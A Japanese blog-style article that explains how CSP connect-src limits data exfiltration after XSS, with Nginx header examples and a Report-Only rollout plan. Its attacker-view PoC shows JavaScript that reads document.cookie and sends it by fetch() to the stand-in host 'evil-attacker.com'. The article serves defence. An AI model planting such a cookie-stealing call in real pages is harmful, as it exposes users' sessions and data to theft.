なぜ、CSPのconnect-srcを語らずにWebセキュリティを語るのか?
現場でいくつものインシデントを見てきたが、「XSSを防げば安心」と思っているエンジニアがいまだに多い。だが、現代のサイバー攻撃はそんなに甘くない。攻撃者は、一度仕込んだXSSで「画面を書き換える」ような稚拙な遊びはしない。彼らが狙うのは、「ユーザーのブラウザを、攻撃者の指令塔へと変貌させること」だ。
たとえXSSの脆弱性が一つ残っていたとしても、その攻撃者が奪取したトークンや個人情報を外部サーバーへ送信(Exfiltration)できないように封じ込める。その最後の防波堤が、今回解説するCSP(Content Security Policy)のconnect-srcだ。
—
攻撃者の視点:データはどうやって「外」へ持ち出されるのか?
攻撃者がXSSでJavaScriptを実行できたとき、彼らはfetch()やXMLHttpRequestを使って、あなたのWebサイトの裏側にあるAPIや、盗んだCookie情報を自身の管理する攻撃用サーバー(C2サーバー)へ送信する。
攻撃のPoC(概念実証)
例えば、攻撃者が仕込んだスクリプトはこう動く。
// 攻撃者の視点:盗んだ情報を外部へ飛ばす
const secretData = document.cookie; // 機密情報の窃取
fetch(‘https://evil-attacker.com/collect’, {
method: ‘POST’,
body: JSON.stringify({ data: secretData })
});
Webアプリ側で何の防御もしていなければ、ブラウザは「ああ、このスクリプトは正当なものだ」と判断し、平然と攻撃者のドメインへデータを送信する。これを防ぐのがconnect-srcの役割だ。
—
connect-srcによる「通信のホワイトリスト化」
connect-srcは、ブラウザがJavaScriptを介して外部と通信できる「宛先」を厳格に制限する命令だ。
実務での実装:Nginxの設定例
Webアプリケーションのヘッダーで以下のように設定する。これが基本中の基本だ。
NginxでのCSP設定例
connect-src ‘self’ は「自分自身のオリジンからのみ通信を許可する」という意味
add_header Content-Security-Policy “default-src ‘self’; connect-src ‘self’ https://api.trusted-partner.com;”;
この設定のキモ:
'self':自サイト(ドメイン・ポート・スキームが一致)のみ通信可。https://api.trusted-partner.com:必要最小限の外部APIだけを許可。- これにより、攻撃者が
evil-attacker.comへデータを送ろうとしても、ブラウザがエラーを返して通信をブロックする。
—
現場でハマる「落とし穴」と正しい運用
「よし、CSPを導入しよう!」と意気込んで全制限をかけると、十中八九、開発環境や本番環境でエラーが発生する。特にAjaxを活用したSPA(Single Page Application)では顕著だ。
1. 段階的な導入:Content-Security-Policy-Report-Only
いきなり厳格な設定を適用してサービスを止めるのは、セキュリティエンジニアとして一番やってはいけないミスだ。まずは「違反を検知するだけ」のモードで運用を開始せよ。
違反を報告するだけで、ブロックはしない設定
add_header Content-Security-Policy-Report-Only “default-src ‘self’; connect-src ‘self’ https://api.trusted-partner.com; report-uri /csp-violation-report-endpoint;”;
2. ログの監視がすべて
/csp-violation-report-endpointには、違反が発生した際のJSONデータが飛んでくる。これをElasticsearchやログ基盤に流し込み、「本当に通信が必要な先が遮断されていないか」を数日間観察する。ここで「許可すべきAPIが抜けていた」ことに気づけるはずだ。
—
結論:セキュリティは「多層防御」の積み重ね
connect-srcはXSSそのものを消し去る魔法ではない。しかし、「攻撃者が侵入したあとの被害を最小限に抑える(Blast Radiusを縮小する)」という意味で、これほどコストパフォーマンスの高い施策はない。
1. まずはReport-Onlyヘッダーを入れろ。
2. ログを見て、必要なAPI通信だけをconnect-srcにホワイトリストとして書き出せ。
3. 自信が持てたらContent-Security-Policyに切り替え、強制適用せよ。
コードを書くとき、常に「この通信は本当に必要か?」と自問自答すること。その意識の積み重ねが、堅牢なシステムを作る唯一の道だ。
さて、次は君たちのアプリケーションのヘッダーを確認してみてくれ。何も設定されていないなら、今日が改善の初日だ。健闘を祈る。
コメント